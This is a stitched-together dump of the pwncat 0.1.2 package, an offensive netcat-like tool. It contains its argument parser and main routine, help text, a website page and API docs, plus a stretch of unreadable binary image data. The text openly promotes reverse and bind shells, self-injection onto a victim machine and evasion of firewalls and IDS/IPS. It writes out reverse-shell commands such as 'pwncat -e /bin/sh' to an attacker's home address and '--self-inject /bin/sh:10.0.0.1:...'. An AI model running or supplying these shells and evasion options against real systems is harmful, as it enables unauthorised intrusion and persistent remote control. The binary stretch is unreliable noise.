"--reconn-robin", metavar="port", type=ArgValidator.type_port_list, default=[], help="""Connect mode (TCP and UDP): If the remote server is not reachable or the connection is interrupted and --reconn is specified, the client will shuffle ports in round-robin mode to connect to. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Set --reconn to at least the number of ports to probe +1 This helps reverse shell to evade intrusiona prevention systems that will cut your connection and block the outbound port. This is also useful in Connect or Zero-I/O mode to figure out what outbound ports are allowed. """, ) cmode.add_argument( "--ping-init", action="store_true", default=False, help="""Connect mode (TCP and UDP): UDP is a stateless protocol unlike TCP, so no hand- shake communication takes place and the client just sends data to a server without being "accepted" by the server first. This means a server waiting for an UDP client to connect to, is unable to send any data to the client, before the client hasn't send data first. The server simply doesn't know the IP address before an initial connect. The --ping-init option instructs the client to send one single initial ping packet to the server, so that it is able to talk to the client. This is a way to make a UDP reverse shell work. See --ping-word for what char/string to send as initial ping packet (default: '\\0') """, ) cmode.add_argument( "--ping-intvl", metavar="s", type=int, default=False, help="""Connect mode (TCP and UDP): Instruct the client to send ping intervalls every s sec. This allows you to restart your UDP server and just wait for the client to report back in. This might be handy for stable UDP reverse shells ;-) See --ping-word for what char/string to send as initial ping packet (default: '\\0') """, ) cmode.add_argument( "--ping-word", metavar="str", type=str, default="\0", help="""Connect mode (TCP and UDP): Change the default character '\\0' to use for upd ping. Single character or strings are supported. """, ) # TODO: Isn't this already covered by --reconn-robin or --zero # What should be the behaviour (keep connection or hop on?) cmode.add_argument( "--ping-robin", metavar="port", type=ArgValidator.type_port_list, default=[], help="""Connect mode (TCP and UDP): Instruct the client to shuffle the specified ports in round-robin mode for a remote server to ping. This might be handy to scan outbound allowed ports. Use comma separated string such as '80,81,82,83', a range of ports '80-83' or an increment '80+3'. Use --ping-intvl 0 to be faster. """, ) cmode.add_argument( "--udp-sconnect", action="store_true", default=False, help="""Connect mode (UDP only): Emulating stateful behaviour for UDP connect phase by sending an initial packet to the server to validate if it is actually connected. By default, UDP will simply issue a connect and is not aware if it is really connected or not. The default connect packet to be send is '\\0', you can change this with --udp-sconnect-word. """, ) cmode.add_argument( "--udp-sconnect-word", nargs="?", metavar="str", type=str, default="\0", help="""Connect mode (UDP only): Change the the data to be send for UDP stateful connect behaviour. Note you can also omit the string to send an empty packet (EOF), but be aware that some servers such as netcat will instantly quit upon receive of an EOF packet. The default is to send a null byte sting: '\\0'. """, ) # -------------------------------------------------------------------------- # Misc arguments # -------------------------------------------------------------------------- misc.add_argument("-h", "--help", action="help", help="Show this help message and exit") misc.add_argument( "-V", "--version", action="version", version=get_version(), help="Show version information and exit", ) # Retrieve arguments args = parser.parse_args() # Check mutually exclive arguments _args_check_mutually_exclusive(parser, args) # Only Zero-I/O mode allows multiple ports if not args.zero and len(args.port) > 1: parser.print_usage() print( "%s: error: Only Zero-I/O mode supports multiple ports" % (APPNAME), file=sys.stderr, ) sys.exit(1) # Connect mode and Zero-I/O mode require hostname and port to be set connect_mode = not (args.listen or args.zero or args.local or args.remote) if (connect_mode or args.zero or args.local) and not args.hostname: parser.print_usage() print( "%s: error: the following arguments are required: hostname" % (APPNAME), file=sys.stderr, ) sys.exit(1) # Deny unimplemented modes if args.https: print("Unimplemented options", file=sys.stderr) sys.exit(1) return args # ################################################################################################# # ################################################################################################# # ### # ### 11 / 11 M A I N E N T R Y P O I N T # ### # ################################################################################################# # ################################################################################################# # ------------------------------------------------------------------------------------------------- # [11/11 MAIN ENTRYPOINT]: (1/2) main # ------------------------------------------------------------------------------------------------- def main(): # type: () -> None """Run the program.""" args = get_args() # Determine current mode mode = None if not (args.listen or args.local or args.remote or args.zero): mode = "connect" ports = [args.port[0]] elif args.listen: mode = "listen" ports = [args.port[0]] elif args.local: mode = "local" ports = [args.port[0]] elif args.remote: mode = "remote" ports = [args.port[0]] elif args.zero: mode = "scan" ports = args.port assert mode is not None host = args.hostname # No argument supplied --udp-sconnect-word to it if args.udp_sconnect_word is None: udp_sconnect_word = "" # --udp-sconnect-word not specified elif args.udp_sconnect_word == "": udp_sconnect_word = "\0" else: udp_sconnect_word = args.udp_sconnect_word reconn = -1 if args.reconn is None else args.reconn rebind = -1 if args.rebind is None else args.rebind # Set pwncat options sock_opts = DsIONetworkSock( RECV_BUFSIZE, LISTEN_BACKLOG, TIMEOUT_RECV_SOCKET, TIMEOUT_RECV_SOCKET_RETRY, args.nodns, args.ipv4, args.ipv6, args.source_addr, args.source_port, args.udp, True if args.zero else args.udp_sconnect, udp_sconnect_word, args.tos, args.info, ) srv_opts = DsIONetworkSrv(args.keep_open, rebind, args.rebind_wait, args.rebind_robin) cli_opts = DsIONetworkCli(reconn, args.reconn_wait, args.reconn_robin) # Map pwncat verbosity to Python's Logger loglevel logmap = { 0: logging.ERROR, 1: logging.WARNING, 2: logging.INFO, 3: logging.DEBUG, } loglevel = logmap.get(args.verbose, TraceLogger.LEVEL_NUM) # Use a colored log formatter formatter = ColoredLogFormatter(args.color, loglevel) handler = logging.StreamHandler() handler.setLevel(loglevel) handler.setFormatter(formatter) # Use a custom logger with TRACE level logging.setLoggerClass(TraceLogger) logger = logging.getLogger(__name__) logger.setLevel(loglevel) logger.addHandler(handler) # Initialize encoder enc = StringEncoder() # Initialize interrupt handler ssig = InterruptHandler(args.keep_open, args.no_shutdown) # Initialize transformers transformers = [] if args.safe_word is not None: transformers.append(TransformSafeword(DsTransformSafeword(ssig, args.safe_word))) if args.crlf is not None: transformers.append(TransformLinefeed(DsTransformLinefeed(args.crlf))) # Initialize scripting engine transformers code_send = None code_recv = None if args.script_send is not None: code_send = compile(args.script_send, "", "exec") if args.script_recv is not None: code_recv = compile(args.script_recv, "", "exec") # Use command modulde if args.cmd: mod = IOCommand(ssig, DsIOCommand(enc, args.cmd, POPEN_BUFSIZE)) # Use output module else: mod = IOStdinStdout(ssig, DsIOStdinStdout(enc, TIMEOUT_READ_STDIN, args.send_on_eof)) # Run local port-forward # -> listen locally and forward traffic to remote (connect) if mode == "local": # Enure to re-connect forever during local port forward cli_opts.reconn = -1 cli_opts.reconn_wait = 0.0 srv_opts.keep_open = True lhost = args.local.split(":")[0] lport = int(args.local.split(":")[1]) if not lhost: lhost = None # Create listen and client instances net_srv = IONetwork(ssig, enc, lhost, [lport], "server", srv_opts, cli_opts, sock_opts) net_cli = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner run = Runner(ssig, False, PSEStore(ssig, [net_srv, net_cli])) run.add_action( "TRANSMIT", DsRunnerAction( DsCallableProducer(net_srv.producer), # (recv) USER sends data to PC-SERVER net_cli.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [net_cli.interrupt, net_srv.interrupt], transformers, False, None, ), ) run.add_action( "RECEIVE", DsRunnerAction( DsCallableProducer(net_cli.producer), # (recv) Data back from TARGET to PC-CLIENT net_srv.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [net_cli.interrupt, net_srv.interrupt], transformers, False, None, ), ) run.run() # Run remote port-forward # -> connect to client, connect to target and proxy traffic in between. if mode == "remote": # TODO: Make the listen address optional! # Enure to re-connect forever during remote port forward cli_opts.reconn = -1 cli_opts.reconn_wait = 0.0 lhost = args.remote.split(":")[0] lport = int(args.remote.split(":")[1]) # Create local and remote client net_cli_l = IONetwork(ssig, enc, lhost, [lport], "client", srv_opts, cli_opts, sock_opts) net_cli_r = IONetwork(ssig, enc, host, ports, "client", srv_opts, cli_opts, sock_opts) # Create Runner run = Runner(ssig, False, PSEStore(ssig, [net_cli_l, net_cli_r])) run.add_action( "TRANSMIT", DsRunnerAction( DsCallableProducer(net_cli_l.producer), # (recv) USER sends data to PC-SERVER net_cli_r.consumer, # (send) Data parsed on to PC-CLIENT to send to TARGET [], transformers, False, None, ), ) run.add_action( "RECEIVE", DsRunnerAction( DsCallableProducer(net_cli_r.producer), # (recv) Data back from TARGET to PC-CLIENT net_cli_l.consumer, # (send) Data parsed on to PC-SERVER to back send to USER [], transformers, False, None, ), ) run.run() # Port Scan if mode == "scan": print("Scanning {} ports".format(len(ports))) net = IONetworkScanner(ssig, enc, host, args.banner, cli_opts, sock_opts) run = Runner(ssig, True, PSEStore(ssig, [net])) for port in ports: run.add_action( "PORT-{}".format(port), DsRunnerAction( DsCallableProducer(net.producer, port), # Send port scans net.consumer, # Output results [net.interrupt], [], True, None, ), ) run.run() # Run server if mode == "listen": net = IONetwork( ssig, enc, host, ports + args.rebind_robin, "server", srv_opts, cli_opts, sock_opts ) # Run blocking auto-deploy. # This will hand over to normal listening server on success or failure if args.self_inject: cnc_cmd, cnc_host, cnc_port = args.self_inject.split(":") cnc_ports = ArgValidator.get_port_list_from_string(cnc_port) CNCAutoDeploy(net, cnc_cmd, cnc_host, cnc_ports) if args.http: trans_recv = [TransformHttpUnpack({})] + transformers trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers else: trans_recv = transformers trans_send = transformers run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, [net.interrupt], trans_recv, False, code_recv, ), ) run.add_action( "STDIN", DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data [mod.interrupt], trans_send, False, code_send, ), ) run.run() # Run client if mode == "connect": net = IONetwork( ssig, enc, host, ports + args.reconn_robin, "client", srv_opts, cli_opts, sock_opts ) if args.http: trans_recv = [TransformHttpUnpack({})] + transformers trans_send = [TransformHttpPack({"host": host, "reply": "response"})] + transformers else: trans_recv = transformers trans_send = transformers run = Runner(ssig, False, PSEStore(ssig, [net])) run.add_action( "RECV", DsRunnerAction( DsCallableProducer(net.producer), # receive data mod.consumer, [net.interrupt], trans_recv, False, code_recv, ), ) run.add_action( "STDIN", DsRunnerAction( DsCallableProducer(mod.producer), net.consumer, # send data [mod.interrupt], trans_send, False, code_send, ), ) if type(args.ping_intvl) is int and args.ping_intvl > 0: payload = StringEncoder.encode(args.ping_word) run.add_timer( "PING-INT", DsRunnerTimer(net.consumer, ssig, args.ping_intvl, (payload,), {}), # send data ) if args.ping_init: payload = StringEncoder.encode(args.ping_word) run.add_repeater( "PING-REP", DsRunnerRepeater(net.consumer, ssig, 1, 0.0, (payload,), {}), # send data ) run.run() # ------------------------------------------------------------------------------------------------- # [11/11 MAIN ENTRYPOINT]: (2/2) start # ------------------------------------------------------------------------------------------------- if __name__ == "__main__": main() pwncat-0.1.2/docs/000077500000000000000000000000001414025024700137355ustar00rootroot00000000000000pwncat-0.1.2/docs/CNAME000066400000000000000000000000121414025024700144740ustar00rootroot00000000000000pwncat.orgpwncat-0.1.2/docs/css/000077500000000000000000000000001414025024700145255ustar00rootroot00000000000000pwncat-0.1.2/docs/css/mypy.css000066400000000000000000000026011414025024700162340ustar00rootroot00000000000000/* CSS for type check coverage reports */ /* Used by both summary and file. */ body { font-family: "Helvetica Neue", sans-serif; } /* Used only by summary. */ h1 { text-align: center; font-size: 135%; margin: 20px; } table.summary { border-collapse: collapse; margin-left: 7%; margin-right: 7%; width: 85%; } table caption { margin: 1em; } table.summary, tr.summary, th.summary, td.summary { border: 1px solid #aaa; } th.summary, td.summary { padding: 0.4em; } td.summary a { text-decoration: none; } .summary-quality-0 { background-color: #dfd; } .summary-quality-1 { background-color: #ffa; } .summary-quality-2 { background-color: #faa; } td.summary-filename, th.summary-filename { text-align: left; } td.summary-filename { width: 50%; } .summary-precision { text-align: center; } .summary-lines { text-align: center; } /* Used only by file. */ td.table-lines { text-align: right; padding-right: 0.5em; } td.table-code { } span.lineno { text-align: right; } a:link.lineno, a:visited.lineno { color: #999; text-decoration: none; } a:hover.lineno, a:active.lineno { color: #000; text-decoration: underline; } .line-empty, .line-precise { background-color: #dfd; } .line-imprecise { background-color: #ffa; } .line-any, .line-unanalyzed { background-color: #faa; } pwncat-0.1.2/docs/img/000077500000000000000000000000001414025024700145115ustar00rootroot00000000000000pwncat-0.1.2/docs/img/video01.png000066400000000000000000064064171414025024700165100ustar00rootroot00000000000000PNG  IHDR6N'zTXtRaw profile type exifxڭi\ns^'pXwYSwEVT*e%3uVz)r=i?wH}?o]]ob~_ҕuA)~~wv-~?ol6>/EO *{Sԋxwx?iw׷ټu"=<_~~^cE?w{F.Tqߛ/lezo+6WWDskCdoan8Kʟ1.v\?k)WKH,qVh\y^Ϳr˯_tR7mfi+" ~_&"ho;|Ĵ;ҋsuu?-b| B XC`<'fqwMJനkkϏaJhz+g#jnаdٙYjͺJ.VJE5jZ-V{-ܬVF=aK\tуw^1ƌ3"NL1#b1"^:*f") D-"F nߑqsWqSB9}#Cx^TS.vcMc#1{N\{ݻvO7= :ymYN4wrǯzWRv=u/yŠδLqQJ,\Oo{9rIZB[ؖ͟gnvg5 {jt;omq>iHĎM_q;̈'ۋO5/^\m^c:fM&2>\FJ8uZ+u yMcm{A&˅YL.oZh%yYj`Ad+R-px#?iׯ^V=*.!W*m ɶQ(ídw9C?B)A|6+ͦ|ug.o@է5 #KFs5bV,%Fߑ8y:iuWl2z簡T~Fww|\'2$6v2$?lV&O`'QwEQm$ԍi.7rZD%i2yu3rRȀx^s:B:w 9M={:eҏiWB\aIp{QPkS[Dcp6[Oo> sl͘37_#UC ,$q IՉ  T\W{pގc JCٝS%)0!"+KXɄay*9ֽ~XFq{}[#N0nw / ȝ5nk/52~EӄŒ j˫'w lW&%JߍRda,pP#M1l(:Oq.Ҩ^o r!dmLWiTTGu^ mWAO>P(?% &lL\6=YaB6 ,4ZmSkؕFwP_/ٍIq{I.^]lk4X;;{Cl@-R[#ʁ^F?qcv;~Q-heōzbIe,\EKHDO"ePD.; erȚSWbhJJg 5 >\@vAx2*FNbIh;L! 9!;UʗZZAy< 6QI>|pJٸ unIPz]% UpBn`d\At5Fm lC/t>8V_G' H"YVk&YpIdk: ᾉ[.mVoYw2hM!':){!*r \u|i㤶؂h6|B la" 7T7I@21IB~\L1Dle hԀ@6@an@WA :A).>``z6Ù*u%P@47D|MY;ͬyG`m=B c_g 17$S% $5E5,K=P*Rp)Q<9diTa30]6c.. tmΑ@wԁ#)hfL҆UxtN;!%lFRDN>]\:#,fhBdF'vSP2R CJJl7$`H[tibV@"B_g"dA!B+8"-ɄtRhM&v! ދGj8`[Hͻ%Ck A7@ei\,էCVa g=s \$;8dHD 7IHNPQ5 #lÐ^Ȳ I6@; Ae|`{؅^jՐ"F7YE!'.kjO69im qBy8,0*KDtoHk;^K@T' !B[f Veo Olacʭ+!VWsHvGua6;Sq<=m) $<\'6%(J7rtn♺ȴS׼5TQ^AYl9qUBp=+}t!w|{vpaP/zόr:еH.t$ܫwa3sJ;rJ uZ Z6]D0ھFO5un:Q(! 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pwncat -n -e /bin/sh {home-addr} {home-port} ########## pwncat -n --reconn --recon-robin 4000-4100 -e /bin/sh {home-addr} {home-port} ########## pwncat -n --udp --udp-ping-intvl 30 -e /bin/sh {home-addr} {home-port} ########## pwncat -n --safe-word 'all your base are belong to us' --udp --udp-ping-intvl 2 -e /bin/sh {home-addr} {home-port} ########## pwncat -l -vvv 4444 2> comm.txt ########## pwncat -u --reconn -R 56.0.0.1:4444 10.0.0.1 3306
pwncat logo

pwncat

pwncat is a sophisticated bind and reverse shell handler with many features as well as a drop-in replacement or compatible complement to netcat, ncat or socat.


pwncat is like netcat on steroids with Firewall, IDS/IPS evasion, bind and reverse shell, self-injecting shell and forwarding magic - and its fully scriptable with Python (PSE)

Get it

Pip

pip install pwncat

MacOS

brew install pwncat

Arch Linux

yay -S pwncat

BlackArch

pacman -S pwncat

CentOS

yum install pwncat

Fedora

dnf install pwncat

Kali Linux

apt install pwncat

NixOS

nixos.pwncat

Oracle Linux

yum install pwncat

Parrot OS

apt install pwncat

Pentoo

net-analyzer/pwncat



Inject to target

If you found a vulnerability on the target to start a very simple reverse shell, such as via bash, php, perl, python, nc or similar, you can instruct your local pwncat listener to use this connection to deploy itself on the target automatically and start four additional unbreakable reverse shells back to you.

pwncat -l 4444 --self-inject /bin/sh:10.0.0.1:4445+3


In Action

unbreakable reverse shells - how to spawn

unbreakable reverse shells - indefinite shells



Features

PSE

Fully Python scriptable with Pwncat Scripting Engine to allow all kinds of stuff on send and receive actions

Self-injecting reverse shell

Self-injecting mode to deploy itself and auto-start multiple unbreakable reverse shells back to you

Unbreakable reverse shell

Reverse shell will reconnect to you if you accidentally hit Ctrl+c

UDP reverse shell

This works by adding TCP-like stateful features to it. Try this with the traditional netcat

Bind shell

Create normal bind shells for any operating system over IPv4, IPv6 or both

Reverse shell

Create normal reverse shells for any operating system over IPv4, IPV6 or both

Port scanning with version detection

Built-in version detection while doing a TCP or UDP port scan.

Local port forward

Allows for stable local port forward by acting as a proxy server

SSH-less Remote port forward

Allows for stable remote port forward by acting as a double client proxy

Detect EGRESS firewalls

Scan and report outbound open ports via port hopping connections

Evade EGRESS firewalls

Evade EGRESS firewalls with outbound round-robin reverse shells

Evade IDS

Wrap your traffic into any other protocol or self-encrypt it

Evade IPS

Handle IPS by to choose new target ports on connection loss/cut

IPv4 and IPv6

IPv4 and IPv6 dual-stack support - autodetect whatever a server offers

TCP and UDP

Any feature is available via both protocols: TCP and UDP

Stateful UDP

Stateful connect phase for UDP client mode - allows your listener to detect a connecting client.

netcat / ncat compatibility

Use netcat or ncat exchangably with pwncat in server or client mode

All Python versions supported

pwncat works with Python 2,7, 3.5, 3.6, 3.7, 3.8 and even with pypy2 and pypy

No libraries required

pwncat is written only with Python core libraries to allow it to run without having to install something

Cross OS

Works and is tested on various Linux, MacOS and Windows versions - as long as Python is available



Artwork

Logo

Banner 1

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Usage

usage: pwncat [options] hostname port
       pwncat [options] -l [hostname] port
       pwncat [options] -z hostname port
       pwncat [options] -L [addr:]port hostname port
       pwncat [options] -R addr:port hostname port
       pwncat -V, --version
       pwncat -h, --help

Enhanced and comptaible Netcat implementation written in Python (2 and 3) with
connect, zero-i/o, listen and forward modes and techniques to detect and evade
firewalls and intrusion detection/prevention systems.

If no mode arguments are specified, pwncat will run in connect mode and act as
a client to connect to a remote endpoint. If the connection to the remote
endoint is lost, pwncat will quit. See options for how to automatically re-
connect.

positional arguments:
  hostname              Address to listen, forward, scan or connect to.

  port                  [All modes]
                        Single port to listen, forward or connect to.
                        [Zero-I/O mode]
                        Specify multiple ports to scan:
                        Via list:  4444,4445,4446
                        Via range: 4444-4446
                        Via incr:  4444+2

mode arguments:
  -l, --listen          [Listen mode]:
                        Start a server and listen for incoming connections.
                        If using TCP and a connected client disconnects or the
                        connection is interrupted otherwise, the server will
                        quit. See -k/--keep-open to change this behaviour.

  -z, --zero            [Zero-I/0 mode]:
                        Connect to a remote endpoint and report status only.
                        Used for port scanning.
                        See --banner for version detection.

  -L [addr:]port, --local [addr:]port
                        [Local forward mode]:
                        This mode will start a server and a client internally.
                        The internal server will listen locally on specified
                        addr/port (given by --local [addr:]port).
                        The server will then forward traffic to the internal
                        client which connects to another server specified by
                        hostname/port given via positional arguments.
                        (I.e.: proxies a remote service to a local address)

  -R addr:port, --remote addr:port
                        [Remote forward mode]:
                        This mode will start two clients internally. One is
                        connecting to the target and one is connecting to
                        another pwncat/netcat server you have started some-
                        where. Once connected, it will then proxy traffic
                        between you and the target.
                        This mode should be applied on machines that block
                        incoming traffic and only allow outbound.
                        The connection to your listening server is given by
                        -R/--remote addr:port and the connection to the
                        target machine via the positional arguments.

optional arguments:
  -e cmd, --exec cmd    Execute shell command. Only for connect or listen mode.

  -C lf, --crlf lf      Specify, 'lf', 'crlf' or 'cr' to always force replacing
                        line endings for input and outout accordingly. Specify
                        'no' to completely remove any line feeds. By default
                        it will not replace anything and takes what is entered
                        (usually CRLF on Windows, LF on Linux and some times
                        CR on MacOS).

  -n, --nodns           Do not resolve DNS.

  --send-on-eof         Buffer data received on stdin until EOF and send
                        everything in one chunk.

  --no-shutdown         Do not shutdown into half-duplex mode.
                        If this option is passed, pwncat won't invoke shutdown
                        on a socket after seeing EOF on stdin. This is provided
                        for backward-compatibility with OpenBSD netcat, which
                        exhibits this behavior.

  -v, --verbose         Be verbose and print info to stderr. Use -v, -vv, -vvv
                        or -vvvv for more verbosity. The server performance will
                        decrease drastically if you use more than three times.

  --info type           Show additional info about sockets, IPv4/6 or TCP opts
                        applied to the current socket connection. Valid
                        parameter are 'sock', 'ipv4', 'ipv6', 'tcp' or 'all'.
                        Note, you must at least be in INFO verbose mode in order
                        to see them (-vv).

  -c str, --color str   Colored log output. Specify 'always', 'never' or 'auto'.
                        In 'auto' mode, color is displayed as long as the output
                        goes to a terminal. If it is piped into a file, color
                        will automatically be disabled. This mode also disables
                        color on Windows by default. (default: auto)

  --safe-word str       All modes:
                        If pwncat is started with this argument, it will shut
                        down as soon as it receives the specified string. The
                        --keep-open (server) or --reconn (client) options will
                        be ignored and it won't listen again or reconnect to you.
                        Use a very unique string to not have it shut down
                        accidentally by other input.

protocol arguments:
  -4                    Only Use IPv4 (default: IPv4 and IPv6 dualstack).

  -6                    Only Use IPv6 (default: IPv4 and IPv6 dualstack).

  -u, --udp             Use UDP for the connection instead of TCP.

  -T str, --tos str     Specifies IP Type of Service (ToS) for the connection.
                        Valid values are the tokens 'mincost', 'lowcost',
                        'reliability', 'throughput' or 'lowdelay'.

  --http                Connect / Listen mode (TCP and UDP):
                        Hide traffic in http packets to fool Firewalls/IDS/IPS.

  --https               Connect / Listen mode (TCP and UDP):
                        Hide traffic in https packets to fool Firewalls/IDS/IPS.

  -H [str [str ...]], --header [str [str ...]]
                        Add HTTP headers to your request when using --http(s).

command & control arguments:
  --self-inject cmd:host:port[s]
                        Listen mode (TCP only):
                        If you are about to inject a reverse shell onto the
                        victim machine (via php, bash, nc, ncat or similar),
                        start your listening server with this argument.
                        This will then (as soon as the reverse shell connects)
                        automatically deploy and background-run an unbreakable
                        pwncat reverse shell onto the victim machine which then
                        also connects back to you with specified arguments.
                        Example: '--self-inject /bin/bash:10.0.0.1:4444'
                        It is also possible to launch multiple reverse shells by
                        specifying multiple ports.
                        Via list:  --self-inject /bin/sh:10.0.0.1:4444,4445,4446
                        Via range: --self-inject /bin/sh:10.0.0.1:4444-4446
                        Via incr:  --self-inject /bin/sh:10.0.0.1:4444+2
                        Note: this is currently an experimental feature and does
                        not work on Windows remote hosts yet.

pwncat scripting engine:
  --script-send file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed before
                        sending data to a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

  --script-recv file    All modes (TCP and UDP):
                        A Python scripting engine to define your own custom
                        transformer function which will be executed after
                        receiving data from a remote endpoint. Your file must
                        contain the exact following function which will:
                        be applied as the transformer:
                        def transform(data, pse):
                            # NOTE: the function name must be 'transform'
                            # NOTE: the function param name must be 'data'
                            # NOTE: indentation must be 4 spaces
                            # ... your transformations goes here
                            return data
                        You can also define as many custom functions or classes
                        within this file, but ensure to prefix them uniquely to
                        not collide with pwncat's function or classes, as the
                        file will be called with exec().

zero-i/o mode arguments:
  --banner              Zero-I/O (TCP and UDP):
                        Try banner grabbing during port scan.

listen mode arguments:
  -k, --keep-open       Listen mode (TCP only):
                        Re-accept new clients in listen mode after a client has
                        disconnected or the connection is interrupted otherwise.
                        (default: server will quit after connection is gone)

  --rebind [x]          Listen mode (TCP and UDP):
                        If the server is unable to bind, it will re-initialize
                        itself x many times before giving up. Omit the
                        quantifier to rebind endlessly or specify a positive
                        integer for how many times to rebind before giving up.
                        See --rebind-robin for an interesting use-case.
                        (default: fail after first unsuccessful try).

  --rebind-wait s       Listen mode (TCP and UDP):
                        Wait x seconds between re-initialization. (default: 1)

  --rebind-robin port   Listen mode (TCP and UDP):
                        If the server is unable to initialize (e.g: cannot bind
                        and --rebind is specified, it it will shuffle ports in
                        round-robin mode to bind to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --rebind to at least the number of ports to probe +1
                        This option requires --rebind to be specified.

connect mode arguments:
  --source-addr addr    Specify source bind IP address for connect mode.

  --source-port port    Specify source bind port for connect mode.

  --reconn [x]          Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted, the client will connect again x many
                        times before giving up. Omit the quantifier to retry
                        endlessly or specify a positive integer for how many
                        times to retry before giving up.
                        (default: quit if the remote is not available or the
                        connection was interrupted)
                        This might be handy for stable TCP reverse shells ;-)
                        Note on UDP:
                        By default UDP does not know if it is connected, so
                        it will stop at the first port and assume it has a
                        connection. Consider using --udp-sconnect with this
                        option to make UDP aware of a successful connection.

  --reconn-wait s       Connect mode (TCP and UDP):
                        Wait x seconds between re-connects. (default: 1)

  --reconn-robin port   Connect mode (TCP and UDP):
                        If the remote server is not reachable or the connection
                        is interrupted and --reconn is specified, the client
                        will shuffle ports in round-robin mode to connect to.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Set --reconn to at least the number of ports to probe +1
                        This helps reverse shell to evade intrusiona prevention
                        systems that will cut your connection and block the
                        outbound port.
                        This is also useful in Connect or Zero-I/O mode to
                        figure out what outbound ports are allowed.

  --ping-init           Connect mode (TCP and UDP):
                        UDP is a stateless protocol unlike TCP, so no hand-
                        shake communication takes place and the client just
                        sends data to a server without being "accepted" by
                        the server first.
                        This means a server waiting for an UDP client to
                        connect to, is unable to send any data to the client,
                        before the client hasn't send data first. The server
                        simply doesn't know the IP address before an initial
                        connect.
                        The --ping-init option instructs the client to send one
                        single initial ping packet to the server, so that it is
                        able to talk to the client.
                        This is a way to make a UDP reverse shell work.
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-intvl s        Connect mode (TCP and UDP):
                        Instruct the client to send ping intervalls every s sec.
                        This allows you to restart your UDP server and just wait
                        for the client to report back in. This might be handy
                        for stable UDP reverse shells ;-)
                        See --ping-word for what char/string to send as initial
                        ping packet (default: '\0')

  --ping-word str       Connect mode (TCP and UDP):
                        Change the default character '\0' to use for upd ping.
                        Single character or strings are supported.

  --ping-robin port     Connect mode (TCP and UDP):
                        Instruct the client to shuffle the specified ports in
                        round-robin mode for a remote server to ping.
                        This might be handy to scan outbound allowed ports.
                        Use comma separated string such as '80,81,82,83', a range
                        of ports '80-83' or an increment '80+3'.
                        Use --ping-intvl 0 to be faster.

  --udp-sconnect        Connect mode (UDP only):
                        Emulating stateful behaviour for UDP connect phase by
                        sending an initial packet to the server to validate if
                        it is actually connected.
                        By default, UDP will simply issue a connect and is not
                        aware if it is really connected or not.
                        The default connect packet to be send is '\0', you
                        can change this with --udp-sconnect-word.

  --udp-sconnect-word [str]
                        Connect mode (UDP only):
                        Change the the data to be send for UDP stateful connect
                        behaviour. Note you can also omit the string to send an
                        empty packet (EOF), but be aware that some servers such
                        as netcat will instantly quit upon receive of an EOF
                        packet.
                        The default is to send a null byte sting: '\0'.

misc arguments:
  -h, --help            Show this help message and exit
  -V, --version         Show version information and exit
pwncat-0.1.2/docs/pwncat.api.html000066400000000000000000026456371414025024700167160ustar00rootroot00000000000000 pwncat API documentation

Module pwncat

pwncat.

Expand source code 
#!/usr/bin/env python3
"""pwncat."""

# Main sections in this file:
# ------------------------------------
#  1. Data structure types
#  2. Library classes
#  3. Network
#  4. Transformer
#  5. IO modules
#  6. PSE Store
#  7. IO Runner / InterruptHandler
#  8. Command & Control
#  9. Command line arguments
# 10. Main entrypoint
#
# How does it work?
# ------------------------------------
# 1. IO (Various input/output modules based on producer/consumer)
# 2. Transformer (transforms data)
# 3. Runner (puts IO consumer/producer into threads)
# 4. Signaling / Interrupts
#
# 1. IO
# ------------------------------------
# IO classes provide basic input/output functionality.
# The producer will constantly gather input (net recv, user input, command output)
# The consumer is a callback applied to this data (net send, output, command execution)
# Each producer/consumer pair will be put into a thread by the Runner instance.
#
# 2. Transformer
# ---------------------------
# Transformer sit on top of a IO callback and can transform the data before it is send
# to the callback. (e.g.: convert LF to CRLF, convert simple text into a HTTP POST request,
# convert a HTTP POST response into text, encrypt/decrypt, etc.)
#
# 3. Runner - The really cool meat:
# ------------------------------------
# The single Runner instance puts it all-together. Each producer/consumer pair (and
# x many Transformer) will be moved into their own Thread.
# Producer and consumer of different instances can be mixed, when adding them to the Runner.
# This allows an Net-1.receive producer, to output it (chat), execute it (command)
# or to send it further via a second Net-2 class (proxy).
#
# A list of Transformer can be added to each consumer/producer pair, allowing further data
# transformation. This means you can simply write a Transformer, which wraps any kind of raw
# data into a Layer-7 protocol and/or unwraps it from it. This allows for easy extension
# of various protocols or other data transformations.
#
# 4. Signaling / Interrupts
# ------------------------------------
# The InterruptHandler instance is distributed across all Threads and and the Runner instance and
# is a way to let other Threads know that a stop signal has been requested.
# Producer/Consumer can implement their own interrupt function so they can be stopped from
# inside (if they do non-blocking stuff) or from outside (if they do blocking stuff).

from __future__ import print_function
from abc import abstractmethod
from abc import ABCMeta

from datetime import datetime
from subprocess import PIPE
from subprocess import Popen
from subprocess import STDOUT

import argparse
import base64
import logging
import os
import re
import select
import signal
import socket
import sys
import threading
import time

# Available since Python 3.3
try:
    import ipaddress
except ImportError:
    pass
# Posix terminal
try:
    import tty
    import termios
except ImportError:
    pass
# Windows
try:
    import msvcrt
except ImportError:
    pass

# Only used with mypy for static source code analysis
if os.environ.get("MYPY_CHECK", False):
    from typing import Optional, Iterator, List, Dict, Any, Callable, Tuple, Union, TypeVar
    from types import CodeType
    from typing_extensions import TypedDict  # pylint: disable=import-error

    SockInst = TypeVar("SockInst", bound="Sock")
